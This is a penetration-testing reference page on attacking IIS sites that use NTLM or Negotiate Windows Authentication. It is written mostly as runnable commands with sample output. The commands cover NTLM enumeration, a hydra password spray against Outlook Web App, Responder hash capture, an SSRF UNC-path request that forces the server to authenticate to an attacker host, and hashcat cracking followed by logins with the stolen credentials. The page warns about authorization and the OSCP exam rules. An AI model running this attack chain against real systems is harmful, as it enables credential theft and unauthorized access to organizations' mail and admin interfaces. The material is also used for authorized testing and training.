# IIS Windows Authentication Attacks

- **URL:** https://hackindex.io/services/iis/exploitation/iis-windows-authentication-attacks
- **Path:** IIS > Exploitation
- **Up:** [Exploitation](https://hackindex.io/services/iis/exploitation.md)
- **Published:** 2026-03-30
- **Updated:** 2026-06-19

IIS sites using Windows Authentication (NTLM or Negotiate) present an authentication surface attackable through credential spraying, NTLM hash capture via Responder, and pass-the-hash when NTLMv1 is negotiated. NTLM info extracted during [IIS enumeration](https://hackindex.io/services/iis/enumeration/iis-enumeration) provides the domain name and hostname needed to target these attacks correctly.

Windows Authentication attack vectors on IIS:

- Credential spraying against OWA and other NTLM endpoints
- NTLM hash capture via Responder when the site triggers outbound auth
- NTLMv1 downgrade for pass-the-hash when legacy negotiation is accepted

## Confirm NTLM Authentication Surface

```bash
curl -skI http://$TARGET_IP/ | grep -i 'www-authenticate'
# WWW-Authenticate: Negotiate
# WWW-Authenticate: NTLM
```

```bash
nmap -p 80,443 --script http-ntlm-info $TARGET_IP
# | http-ntlm-info:
# |   Target_Name: COMPANY
# |   NetBIOS_Domain_Name: COMPANY
# |   DNS_Domain_Name: company.local
# |   DNS_Computer_Name: web01.company.local
# |_  Product_Version: 10.0.17763
```

## Credential Spraying Against OWA

Outlook Web App on Exchange is the most common NTLM-authenticated IIS target. Spray one password across all known user accounts. OWA returns distinct responses for valid versus invalid credentials:

```bash
# Confirm OWA login response patterns
curl -sk -X POST https://$TARGET_IP/owa/auth.owa -d 'username=admin&password=wrongpass&flags=4' -D - | grep -iE 'location|set-cookie|302|401'
# HTTP/2 302
# Location: /owa/auth/logon.aspx?reason=2
```

```bash
hydra -L /tmp/users.txt -p 'Password123' -s 443 $TARGET_IP https-post-form "/owa/auth.owa:username=^USER^&password=^PASS^&flags=4:reason=2" -t 5 -W 3
# [443][https-post-form] host: 10.10.10.50   login: john.smith@company.com   password: Password123
```

## NTLM Hash Capture with Responder

When the IIS server or a client can be made to authenticate to an attacker-controlled host, Responder captures the NTLMv2 hash for offline cracking. Set up Responder on the network interface facing the target:

> [!WARNING]
> Responder poisons LLMNR, NBT-NS, and mDNS broadcasts. This affects all hosts on the local segment, not just the target. Only run on networks where this is explicitly authorized. This poisoning is prohibited in the OSCP exam: capturing a hash via an SSRF-forced UNC path (no poisoning) is fine, but do not run Responder in poisoning mode during exam environments.

```bash
responder -I eth0 -wrf
# [+] Listening for events...
# [SMB] NTLMv2-SSP Client   : 10.10.10.50
# [SMB] NTLMv2-SSP Username : COMPANY\web_service
# [SMB] NTLMv2-SSP Hash     : web_service::COMPANY:aabbccdd:HASH
```

Trigger authentication from IIS to your Responder listener by inducing an SSRF via the web application: if a URL parameter fetches remote content, point it at your Responder listener IP using a UNC path:

```bash
curl -sk "http://$TARGET_IP/fetch?url=\\\\$LHOST\\share"
```

## Crack Captured NTLMv2 Hash

```bash
hashcat -m 5600 captured_hash.txt /usr/share/wordlists/rockyou.txt
# web_service::COMPANY:...:Password123
```

## Test Credentials Against IIS with NTLM Auth

Use cracked or sprayed credentials against the NTLM-protected IIS site directly:

```bash
curl -sk --ntlm -u "COMPANY\\$USER:$PASSWORD" http://$TARGET_IP/ | grep -iE 'welcome|dashboard|logged in'
# <title>Welcome - Internal Portal</title>
```

```bash
curl -sk --ntlm -u "COMPANY\\$USER:$PASSWORD" http://$TARGET_IP/admin/ -D - | grep -iE 'HTTP|location|content-type'
```

Valid credentials against an NTLM-protected IIS site often provide access to the ECP (Exchange Control Panel) or other administrative interfaces. ECP access enables creating new mailbox rules, forwarding all mail, and resetting passwords: high-impact lateral movement paths in Exchange environments.

## References

- [Responder](https://github.com/lgandx/Responder) - LLMNR and NBT-NS poisoner for NTLM hash capture
- [Hashcat](https://hashcat.net/wiki/doku.php?id=hashcat) - NTLMv2 cracking with mode 5600